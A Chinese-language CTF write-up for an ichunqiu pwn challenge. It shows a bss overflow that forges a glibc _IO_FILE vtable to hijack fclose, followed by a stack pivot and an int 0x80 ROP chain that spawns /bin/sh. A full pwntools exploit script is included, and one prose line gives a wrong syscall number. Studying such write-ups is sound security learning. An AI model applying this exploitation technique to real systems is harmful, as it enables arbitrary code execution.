ichunqiu--try to pwn.md

ichunqiu–try to pwn

ICQ Baidu CTF try to pwn

好吧,这个题目其实还没有做到我想要的地步,我还想再深度挖掘一下,但是周末了,该写writeup了,就先把这部分总结写了,之后如果还想有其他的尝试,就继续做吧。

题目又不是我自己做出来的,当时没有发现程序的溢出点,于是就到网上看了别人的Write-up。和之前的感觉一样,溢出点其实很简单,关键在于ROP的构造,这里和之前的一道题目比较像,都用到了”栈迁移+ROP构造的“知识点。

pwn-栈迁移-ROP

题目信息

https://www.ichunqiu.com/battalion

i春秋官网上的实战训练营里边50points的pwn题目。可见自己离400points的题目还有多大的差距…

file fake #查看看文件的基本信息

可以发现fake是32bit-ELF文件,然后用ida32打开。

main函数中有三个内部函数:init_proc;welcome;menu

init_proc

对输入流和输出流的初始化操作。

??话说这里的ssignal()函数的作用是什么,因为最近做了一道题目就是利用signal函数中断进行操作的,所以就很好奇??

welcome

用户输入name到&x中,没有限定输入字符串的长度。

menu

提供read file、print file功能。发现这里边存在输入的地方都有长度检查。

解题思路

发现漏洞点

我自己没有找到…漏洞点存在于welcome函数中,没有对输入的x进行长度限制。

int welcome()
{
  puts("Whats your name?");
  _isoc99_scanf("%s", &x);
  return printf("Welcome %s, can you help me get the secret file?\n", &x);
}
漏洞利用设计思路

点击x,可以看到x是全局变量,存储在bss段上,并且bss段中x的下边紧挨着就是代码中不断出现的dword_80EFA00(这个也就是fopen()函数的返回值)

程序的正常流程中,当我们输入一个文件路径之后,程序会从/dev/random中读取一个随机数附加在我们输入的路径之后,使得我们无法通过常规操作打开文件。

但是由于x的输入可以覆盖dword_80EFA00的内容,也就是说可以修改fopen()对应的文件元数据,这里就可以使用伪造的File。

puts("Bye~");
if ( dword_80EFA00 )fclose(dword_80EFA00);
exit(0);

通过这里可以看到,如果dword_80EFA00不空,那么就会执行fclose(dword_80EFA00),这条语句fclose()实际上是执行了dword_80EFA00所代表的File结构体中的一个函数指针,当我们构造fake file信息的时候,就可以自定义flose()位置地址的内容,实现程序控制流劫持的目的。

伪造完整_IO_FILE_plus,然后让fp指针指向我们的fake FILE,并且将其中的vtable指向一个由我们控制的内存区域,在区域中填写我们攻击需要用到的函数地址,就能够实现攻击。

input:‘abcd’*12;

程序会检测到file fp不是null;于是就可以执行fclose()函数

0x080efa00

拿到控制权限之后,一般就是要找到下一个程序要运行的位置,这里我们首先检查程序中是否存在可利用的execve()和system()函数以及“/bin/sh”参数,发现没有可用的信息,那么就需要我们自己构造ROP。

一般ROP的构造主要分为三种方式:int x80;system();execve();我个人认为int x80和execve()应该都可以,但是目前还没有具体实践…学习别人的Writeup中使用的是int x80。

接着使用checksec发现程序开启了NX,所以不能在栈上构造ROP;于是要考虑栈迁移,将程序栈迁移到可执行的bss段。

于是总的设计思路就是:

1.利用溢出漏洞点劫持控制流;构造fake file struct

2.实现栈迁移

3.在迁移后的bss栈上写入ROP

漏洞利用实现
如何构造fake file struct

我们使用fopen打开一个文件会在堆上分配一块内存区域用来存储FILE结构体,存储的结构体包含两个部分,前一部分为_IO_FILE结构体file,后一部分是一个指向struct IO_jump_t的指针vtable, 这个结构体种存储着一系列与文件IO相关的函数指针。
在我们调用fclose关闭一个文件时,我们最终会调用到vtable中存储的函数指针。如果我们能够将vtable中的指针替换为我们自己想要跳转到的地址就可以劫持程序流程。

这里有几个关键点:

  • vtable相对FILE首地址的偏移量(即_IO_FILE的size)
  • 结构体中值的设定

这部分还没有弄清楚!!!!!?????

觉得很神奇的是,_IO_FILE的size好像是通过观察内存的运行情况找到的??

好像不是通过_IO_FILE的size然后再加两个偏移定位到_finish()的位置;而是在gdb单步调试的时候,运行到finish()函数的时候,可以看到下一条指令的地址,由此来判断在哪个位置劫持控制流

如何实现栈迁移

借鉴别人的wirteup中使用到的是:

xchg eax, esp ; ret	1
如何构造ROP

int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,执行execve(/bin/sh)

这里提前将参数"/bin/sh"写入到bss段中,记住地址.

这里原作者使用了下属的这些指令:

xor eax, eax; ret;
pop ecx ; pop ebx ; ret;
pop esi ; pop ebx ; pop edx ; ret
pop eax; jnp 0x5b0e5e5e; pop esi; ret;
neg eax; ret
int 0x80

上述指令的功能很简单,就是对eax,ebx,ecx,edx,esi寄存器进行赋值。然后调用int 0x80.

ROP运行流程

一共调用了几段独立的汇编指令,然后结合在一起形成了完整的ROP,他们的运行顺序标在图中了,更容易理解ROP输入之后的运行情况。

rop

exp

#/usr/env/bin python
#-*- coding: utf-8 -*- 
from pwn import *
import sys


def my_read(path):
    io.recvuntil('> ')
    io.sendline(str(1))
    io.recvline()
    io.sendline(path)

def my_print(content):
    io.recvuntil('> ')
    io.sendline(str(2))
    io.send(content)

def my_exit():
    io.recvuntil('> ')
    io.sendline(str(3))

def exploit1():  #Rop
    gdb.attach(io,' b *_IO_new_file_close_it')
    #gdb.attach(io)
    #gdb.attach(io)
    io.recvuntil('Whats your name?\n')
    name = 'A'*0x20
    name += p32(0x80efa08)  #fake file stream
    name += 'B'*0x4

    #fake file stream
    fake_file = '/bin/sh\x00'
    fake_file += p32(0)
    fake_file += p32(1)
    fake_file = fake_file.ljust(0x48,'\x00')
    fake_file += p32(0x80efa10)
    fake_file += 2*p32(0xffffffff)
    fake_file += p32(0x0807bfc2) 
    '''
    0x0807bfc2 : add esp, 0x60 ; pop ebx ; pop esi ; pop edi ; ret	2
    '''
    fake_file = fake_file.ljust(0x94,'\x00')
    #fake _IO_jump_t
    io_jump_t = p32(0x80efa5c)
    #stack pivot
    io_jump_t += p32(0x08048f66)#  xchg eax, esp ; ret	1  pivot?? exchange
    payload = name+fake_file+io_jump_t
    payload = payload.ljust(0xec,'\x00')

    #rop chain
    rop = ''
    rop += p32(0x8049613) # 0x08049613: xor eax, eax; ret;	3
    rop += p32(0x08072f31) #0x08072f31 : pop ecx ; pop ebx ; ret	4
    rop += p32(0x80efa1c)
    rop += p32(0xdeadbeef)
    rop += p32(0x08072f08) #0x08072f08 : pop esi ; pop ebx ; pop edx ; ret	5
    rop += p32(0xdeadbeef)
    rop += p32(0x80efa08)
    rop += p32(0x80efa1c)
    rop += p32(0x806ba13) # 0x0806ba13: pop eax; jnp 0x5b0e5e5e; pop esi; ret;	6
    rop += p32(0xfffffff5)
    rop += p32(0xdeadbeef)
    rop += p32(0x08062527) # 0x08062527: neg eax; ret;	7
    rop += p32(0x0804dc35) # 0x0804dc35: int 0x80	8

    payload += rop
    #gdb.attach(io)
    io.sendline(payload)
    #pause()
    my_exit()
    io.recvuntil('Bye~\n')

    io.interactive()
if __name__ == "__main__":
    context.binary = "./fake"
    #context.terminal = ['tmux','sp','-h']
    context.log_level = 'debug'
    elf = ELF('./fake')
    if len(sys.argv)>1:
        io = remote(sys.argv[1],sys.argv[2])
        exploit1()
    else:
        io = process('./fake')
        exploit1()

exploit

sentdata

关键知识点

File struct

pwn-文件指针处理

伪造_IO_FILE利用fclose实现任意地址执行

_IO_FILE_plus
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

这个_OP_jump_t*指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针,从而实现统一API调用下的不同处理。

_IO_FILE
struct _IO_FILE{
	int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
	/* The following pointers correspond to the C++ streambuf protocol. */
	/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
	char* _IO_read_ptr;   /* Current read pointer */
	char* _IO_read_end;   /* End of get area. */
	char* _IO_read_base;  /* Start of putback+get area. */
	char* _IO_write_base; /* Start of put area. */
	char* _IO_write_ptr;  /* Current put pointer. */
	char* _IO_write_end;  /* End of put area. */
	char* _IO_buf_base;   /* Start of reserve area. */
	char* _IO_buf_end;    /* End of reserve area. */
	struct _IO_marker * 	_markers
	struct _IO_FILE * 	_chain  // next _IO_FILE
	int 	_fileno 			// file descriptor
	int 	_flags2
	_IO_off_t 	_old_offset
	unsigned short 	_cur_column
	signed char 	_vtable_offset
	char 	_shortbuf [1]
	_IO_lock_t * 	_lock
	__off64_t _offset;
	/* Wide character stream stuff.  */
	struct _IO_codecvt *_codecvt;
	struct _IO_wide_data *_wide_data;
	struct _IO_FILE *_freeres_list;
	void *_freeres_buf;
	size_t __pad5;
	int _mode;
	/* Make sure we don't get into trouble again.  */
	char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

结构体中的_IO_read*_IO_write*部分会在调用scanf/freadprintf/fwrite这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写(此处可pwn)

_chain属性则是连接了下一个strcut _IO_FILE*

所有打开的文件FILE结构都会以链表的形式存储在内存中,链表的头部为_IO_list_all,是libc的全局变量。
当打开一个文件的时候,此时的会从从堆上分配一个区域,用来存放一个包含_IO_FILE结构体的另一个结构体_IO_FILE_plus

vtable

这边我们看到这个 vtable 的结构体为:

#define JUMP_INIT(NAME, VALUE) VALUE
const struct _IO_jump_t _IO_file_jumps =
{
   JUMP_INIT_DUMMY,
   JUMP_INIT(finish, _IO_file_finish),
   JUMP_INIT(overflow, _IO_file_overflow),
   JUMP_INIT(underflow, _IO_file_underflow),
   JUMP_INIT(uflow, _IO_default_uflow),
   JUMP_INIT(pbackfail, _IO_default_pbackfail),
   JUMP_INIT(xsputn, _IO_file_xsputn),
   JUMP_INIT(xsgetn, _IO_file_xsgetn),
   JUMP_INIT(seekoff, _IO_new_file_seekoff),
   JUMP_INIT(seekpos, _IO_default_seekpos),
   JUMP_INIT(setbuf, _IO_new_file_setbuf),
   JUMP_INIT(sync, _IO_new_file_sync),
   JUMP_INIT(doallocate, _IO_file_doallocate),
   JUMP_INIT(read, _IO_file_read),
   JUMP_INIT(write, _IO_new_file_write),
   JUMP_INIT(seek, _IO_file_seek),
   JUMP_INIT(close, _IO_file_close),
   JUMP_INIT(stat, _IO_file_stat),
   JUMP_INIT(showmanyc, _IO_default_showmanyc),
   JUMP_INIT(imbue, _IO_default_imbue)
};

这些函数相当于是在调用read/write/fflush...等函数的时候会利用的指针。

fclose()底层源码
/* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

/*这里本来有个对版本进行检测的代码,根据FILE结构中_vtable_offset变量是否为0来判断,不为0则执行_IO_old_fclose*/
  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
#if _LIBC
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
#endif
    }
  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}
int x80

int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,执行execve(/bin/sh)

可查看int 0x80的系统调用表

技能GET

pwnlib gdb
attach(target, execute = None, exe = None, arch = None, ssh = None) -> None
  • target - 要被attach到的target。
  • execute (str or file) - attach 之后,GDB 要运行的脚本。
  • exe (str) - 目标二进制程序的路径
  • arch (str) - 目标二进制程序的架构,如果 exe 已知的话,GDB 将会进行自动检测(如果支持的话)。
gdb command
x /30wx 0x080efa00	#查看从0x080efa00开始的30bytes内容
size_t

size_t type is a base unsigned integer type of C/C++ language. It is the type of the result returned by sizeof operator. The type’s size is chosen so that it can store the maximum size of a theoretically possible array of any type. On a 32-bit system size_t will take 32 bits, on a 64-bit one 64 bits.

xchg

SDM指令功能描述(XCHG)
XCHG指令,双操作数指令,用于交换src和dest操作数的内容。其中,src和dest可以是两个通用寄存器,也可以是一个寄存器和一个memory位置。

jnp

jump if condition is met

JNP rel8	Jump short if not parity (PF=0)
neg

NEG是汇编指令中的求补指令,NEG指令对操作数执行求补运算:用零减去操作数,然后结果返回操作数。求补运算也可以表达成:将操作数按位取反后加1。

tmux&gnome-terminal

tmux是什么?tmux是linux中一种管理窗口的程序。

gnome-terminal

ljust()

The method ljust() returns the string left justified in a string of length width. Padding is done using the specified fillchar (default is a space). The original string is returned if width is less than len(s).

fread

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

fopen返回值

Upon successful completion fopen(), fdopen() and freopen() return a FILE pointer. Otherwise, NULL is returned and errno is set to indicate the error.

问题

1.gdb.attach()出现的时候是会使程序停下来,但是程序停在哪里感觉有两个因素:

  • 断点
  • gdb.attach()的位置

前一个可以在 attach()的命令行参数进行设置;后一个暂时还不知道如何影响。这个题目中不管gdb.attach()放在哪里都是停在这个位置。

2.readgsword的作用

是NX还是canary??

3.payload中的ROP部分弄清了,但是file的构造还没有弄清楚???

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值